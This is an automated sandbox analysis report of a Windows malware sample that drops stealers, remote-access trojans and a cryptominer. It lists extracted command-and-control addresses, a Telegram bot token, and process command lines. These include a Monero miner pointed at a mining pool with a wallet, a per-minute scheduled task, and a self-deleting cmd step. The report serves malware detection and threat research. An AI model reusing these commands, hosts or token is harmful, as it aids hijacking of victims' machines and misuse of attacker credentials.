Analysis
- max time kernel
52s - max time network
39s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
13/05/2024, 08:21
Errors
General
- Target febb183da4d8c283083eb9a90a9008ff8fc14cb2750749d1009284a49458269c.exe
- Size 1.8MB
- Sample240513-j9d7yseb21
- SHA256 febb183da4d8c283083eb9a90a9008ff8fc14cb2750749d1009284a49458269c
Malware Config
Extracted
-
amadey
-
4.20
-
http://5.42.96.141
-
http://5.42.96.7
-
install_dir
908f070dff
-
install_file
explorku.exe
-
strings_key
b25a9385246248a95c600f9a061438e1
-
url_paths
/go34ko8/index.php
Extracted
-
redline
-
@CLOUDYTTEAM
-
185.172.128.33:8970
Extracted
-
redline
-
1
-
185.215.113.67:26260
Extracted
-
stealc
-
http://49.13.229.86
-
url_path
/c73eed764cc59dcb.php
Extracted
-
xworm
-
127.0.0.1:7000
-
beshomandotestbesnd.run.place:7000
-
Install_directory
%ProgramData%
-
install_file
taskmgr.exe
-
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Detect Xworm Payload 2 IoCs
- Detect ZGRat V1 3 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 6 IoCs
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- Stealc
Stealc is an infostealer written in C++.
- Xworm
Xworm is a remote access trojan written in C#.
- ZGRat
ZGRat is remote access trojan written in C#.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
- Downloads MZ/PE file
- Stops running service(s) 4 TTPs
- Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Identifies Wine through registry keys 2 TTPs 4 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Themida packer 12 IoCs
Detects Themida, an advanced Windows software protection system.
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 1 IoCs
- Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 2 IoCs
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\febb183da4d8c283083eb9a90a9008ff8fc14cb2750749d1009284a49458269c.exe"C:\Users\Admin\AppData\Local\Temp\febb183da4d8c283083eb9a90a9008ff8fc14cb2750749d1009284a49458269c.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"7⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"7⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 38⤵
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 3326⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClient7⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClient confirm7⤵
-
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLink7⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLink confirm7⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"7⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLink7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc stop GameServerClientC7⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameServerClientC confirm7⤵
-
-
C:\Windows\SysWOW64\sc.exeSc delete PiercingNetLink7⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove PiercingNetLink confirm7⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"7⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start PiercingNetLink7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "6⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameSyncLinks7⤵
- Launches sc.exe
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService remove GameSyncLinks confirm7⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"7⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exeGameService start GameSyncLinks7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"6⤵
-
C:\Users\Admin\Pictures\BVNeDqpHYIUJ6TClf4oorTEP.exe"C:\Users\Admin\Pictures\BVNeDqpHYIUJ6TClf4oorTEP.exe"7⤵
-
-
C:\Users\Admin\Pictures\C8qK3lVJHH6dZEQTUufLK0m4.exe"C:\Users\Admin\Pictures\C8qK3lVJHH6dZEQTUufLK0m4.exe"7⤵
-
-
C:\Users\Admin\Pictures\O6deVVCDiPTdTEgTkAbvm9kc.exe"C:\Users\Admin\Pictures\O6deVVCDiPTdTEgTkAbvm9kc.exe"7⤵
-
-
C:\Users\Admin\Pictures\MpquEarF5zHBaSwfeqkHOYfX.exe"C:\Users\Admin\Pictures\MpquEarF5zHBaSwfeqkHOYfX.exe"7⤵
-
-
C:\Users\Admin\Pictures\fpyr5FyMS0SCZqo6WKk0yg0P.exe"C:\Users\Admin\Pictures\fpyr5FyMS0SCZqo6WKk0yg0P.exe"7⤵
-
-
C:\Users\Admin\Pictures\SgVTJleu6qQuUB2w66epN7qv.exe"C:\Users\Admin\Pictures\SgVTJleu6qQuUB2w66epN7qv.exe"7⤵
-
-
C:\Users\Admin\Pictures\GQkY89TcJ6pmVdmVShFjmRMW.exe"C:\Users\Admin\Pictures\GQkY89TcJ6pmVdmVShFjmRMW.exe"7⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F6⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\1000254001\ISetup8.exe"C:\Users\Admin\AppData\Local\Temp\1000254001\ISetup8.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\u4m8.0.exe"C:\Users\Admin\AppData\Local\Temp\u4m8.0.exe"7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 3527⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"5⤵
-
-
-
-
C:\Users\Admin\1000006002\fab662f01a.exe"C:\Users\Admin\1000006002\fab662f01a.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exeC:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4564 -ip 45641⤵
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
-
C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"2⤵
-
C:\Windows\Temp\239303.exe"C:\Windows\Temp\239303.exe" --list-devices3⤵
-
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
-
C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"2⤵
-
-
C:\Program Files (x86)\GameSyncLink\GameService.exe"C:\Program Files (x86)\GameSyncLink\GameService.exe"1⤵
-
C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"2⤵
-
C:\Windows\Temp\866490.exe"C:\Windows\Temp\866490.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x3⤵
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5216 -ip 52161⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
GameService.exe
GameSyncLink.exe
GameSyncLinks.exe
GameSyncLinks.exe
PiercingNetLink.exe
PiercingNetLink.exe
installc.bat
installg.bat
installm.bat
mozglue.dll
nss3.dll
fab662f01a.exe
alex.exe
gold.exe
amers.exe
redline1.exe
install.exe
install.exe
install.exe
swizzhis.exe
lumma1.exe
file300un.exe
file300un.exe
NewB.exe
taskmgr.exe
ISetup8.exe
toolspub1.exe
4767d2e713f2021e8fe856e3ea638b58.exe
explorku.exe
TmpCD62.tmp
u4m8.0.exe
76b53b3ec448f7ccdda2063b15d2bfc3_5fd6b8d9-48b3-42c0-adc7-08f9fe7c965e
keks.exe
trf.exe
0TcRXEar0O3565MgxzVkNm1Y.exe
BVNeDqpHYIUJ6TClf4oorTEP.exe
MpquEarF5zHBaSwfeqkHOYfX.exe
SgVTJleu6qQuUB2w66epN7qv.exe
fpyr5FyMS0SCZqo6WKk0yg0P.exe
Google Chrome.lnk
Google Chrome.lnk
Microsoft Edge.lnk
Microsoft Edge.lnk
gpt.ini
239303.exe
cudart64_101.dll
memory/452-199-0x00000000007F0000-0x00000000007F1000-memory.dmp
memory/452-194-0x00000000007F0000-0x00000000007F1000-memory.dmp
memory/1120-25-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/1120-26-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/1120-27-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/1120-58-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/1200-362-0x0000000000AB0000-0x0000000000F73000-memory.dmp
memory/1200-93-0x0000000000AB0000-0x0000000000F73000-memory.dmp
memory/1316-79-0x0000000000090000-0x0000000000553000-memory.dmp
memory/1316-92-0x0000000000090000-0x0000000000553000-memory.dmp
memory/1536-136-0x0000000004F80000-0x0000000004F8A000-memory.dmp
memory/1536-159-0x0000000006520000-0x0000000006532000-memory.dmp
memory/1536-132-0x0000000005290000-0x0000000005834000-memory.dmp
memory/1536-333-0x0000000007680000-0x0000000007842000-memory.dmp
memory/1536-133-0x0000000004DC0000-0x0000000004E52000-memory.dmp
memory/1536-153-0x00000000059C0000-0x0000000005A36000-memory.dmp
memory/1536-154-0x0000000006450000-0x000000000646E000-memory.dmp
memory/1536-295-0x0000000006830000-0x0000000006896000-memory.dmp
memory/1536-131-0x00000000004B0000-0x0000000000502000-memory.dmp
memory/1536-358-0x00000000075E0000-0x0000000007630000-memory.dmp
memory/1536-162-0x00000000066F0000-0x000000000673C000-memory.dmp
memory/1536-161-0x0000000006580000-0x00000000065BC000-memory.dmp
memory/1536-158-0x00000000065E0000-0x00000000066EA000-memory.dmp
memory/1536-341-0x0000000007D80000-0x00000000082AC000-memory.dmp
memory/1536-157-0x0000000006A90000-0x00000000070A8000-memory.dmp
memory/1636-228-0x00000000006A0000-0x00000000006F2000-memory.dmp
memory/1772-50-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-38-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-31-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-28-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-32-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/1772-33-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-37-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-39-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-46-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-47-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-49-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-48-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-56-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-54-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-61-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-62-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-60-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-35-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-59-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-57-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-55-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-36-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-52-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-34-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-41-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-51-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-40-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-45-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-44-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-43-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/1772-42-0x0000000000400000-0x00000000009E7000-memory.dmp
memory/2864-361-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/2864-18-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/2864-19-0x0000000000B71000-0x0000000000B9F000-memory.dmp
memory/2864-20-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/2864-21-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/2864-163-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/2864-160-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/2864-77-0x0000000000B70000-0x0000000001021000-memory.dmp
memory/3080-200-0x0000000000400000-0x0000000000458000-memory.dmp
memory/3080-198-0x0000000000400000-0x0000000000458000-memory.dmp
memory/3624-460-0x00007FF6CF130000-0x00007FF6CF479000-memory.dmp
memory/3624-456-0x00007FF6CF130000-0x00007FF6CF479000-memory.dmp
memory/3888-201-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-203-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-208-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-209-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-206-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-207-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-204-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-202-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3888-205-0x0000000000340000-0x00000000009A5000-memory.dmp
memory/3972-109-0x0000000000400000-0x0000000000592000-memory.dmp
memory/4288-291-0x000000001F2B0000-0x000000001F7D8000-memory.dmp
memory/4288-135-0x00000000004F0000-0x00000000005B0000-memory.dmp
memory/4288-261-0x000000001E460000-0x000000001E4D6000-memory.dmp
memory/4288-251-0x000000001C080000-0x000000001C092000-memory.dmp
memory/4288-252-0x000000001C2D0000-0x000000001C30C000-memory.dmp
memory/4288-250-0x000000001E0D0000-0x000000001E1DA000-memory.dmp
memory/4288-271-0x000000001C0A0000-0x000000001C0BE000-memory.dmp
memory/4288-290-0x000000001EBB0000-0x000000001ED72000-memory.dmp
memory/4400-5-0x0000000000950000-0x0000000000E01000-memory.dmp
memory/4400-0-0x0000000000950000-0x0000000000E01000-memory.dmp
memory/4400-17-0x0000000000950000-0x0000000000E01000-memory.dmp
memory/4400-3-0x0000000000950000-0x0000000000E01000-memory.dmp
memory/4400-2-0x0000000000951000-0x000000000097F000-memory.dmp
memory/4400-1-0x0000000076FB4000-0x0000000076FB6000-memory.dmp
memory/4528-631-0x00000000003B0000-0x00000000003E8000-memory.dmp
memory/5324-602-0x0000000140000000-0x0000000140B56000-memory.dmp
memory/5380-319-0x0000000000B90000-0x0000000000B91000-memory.dmp
memory/5508-318-0x0000000000400000-0x000000000063B000-memory.dmp
memory/5508-320-0x0000000000400000-0x000000000063B000-memory.dmp
memory/5508-372-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/5676-459-0x0000000000400000-0x0000000000408000-memory.dmp